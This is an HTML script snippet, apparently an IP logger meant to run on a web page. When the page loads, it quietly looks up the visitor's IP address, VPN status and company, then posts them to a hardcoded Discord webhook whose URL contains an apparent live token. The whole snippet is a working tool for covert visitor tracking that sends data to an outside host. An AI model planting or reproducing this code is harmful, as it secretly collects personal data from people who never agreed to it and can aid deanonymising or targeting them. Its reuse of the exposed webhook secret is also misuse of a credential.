    <script>
        // Function to send data to Discord webhook
        function sendToDiscord(ip, vpnStatus, timestamp, companyName) {
            const message = `
**IP Address:** \`${ip}\`
**Company:** ${companyName}
**VPN Detected:** ${vpnStatus}
**Timestamp:** ${timestamp}
`;

            // Discord webhook URL
            const webhookURL = 'https://discordapp.com/api/webhooks/1335672459067920486/y3_mF5A5rDNE_MDQs5pjwmUFGsPGo2v2ch7i6Z4vCuZhzajdVAoCbKN8vJMAIq-6lVQ_';

            // Send data to Discord webhook
            fetch(webhookURL, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ content: message })
            })
            .then(response => {
                console.log('Message sent to Discord');
            })
            .catch(error => {
                console.error('Error sending message to Discord:', error);
            });
        }

        // Fetch IP address from the provided API link
        fetch('https://api.ipify.org/?format=json')
            .then(response => response.json())
            .then(data => {
                const ip = data.ip;
                // Additional data from ipapi.is/json
                fetch('https://ipapi.is/json/')
                    .then(response => response.json())
                    .then(ipData => {
                        const vpnStatus = ipData.is_vpn ? 'Yes' : 'No';
                        const timestamp = new Date().toLocaleString('en-US', { hour: 'numeric', minute: 'numeric', hour12: true });
                        const companyName = ipData.company?.name || 'Unknown';
                        // Send IP, company name, VPN status, and timestamp to Discord webhook
                        sendToDiscord(ip, vpnStatus, timestamp, companyName);
                    })
                    .catch(error => {
                        console.error('Error fetching IP, company name, and VPN information:', error);
                    });
            })
            .catch(error => {
                console.error('Error fetching IP address:', error);
            });
    </script>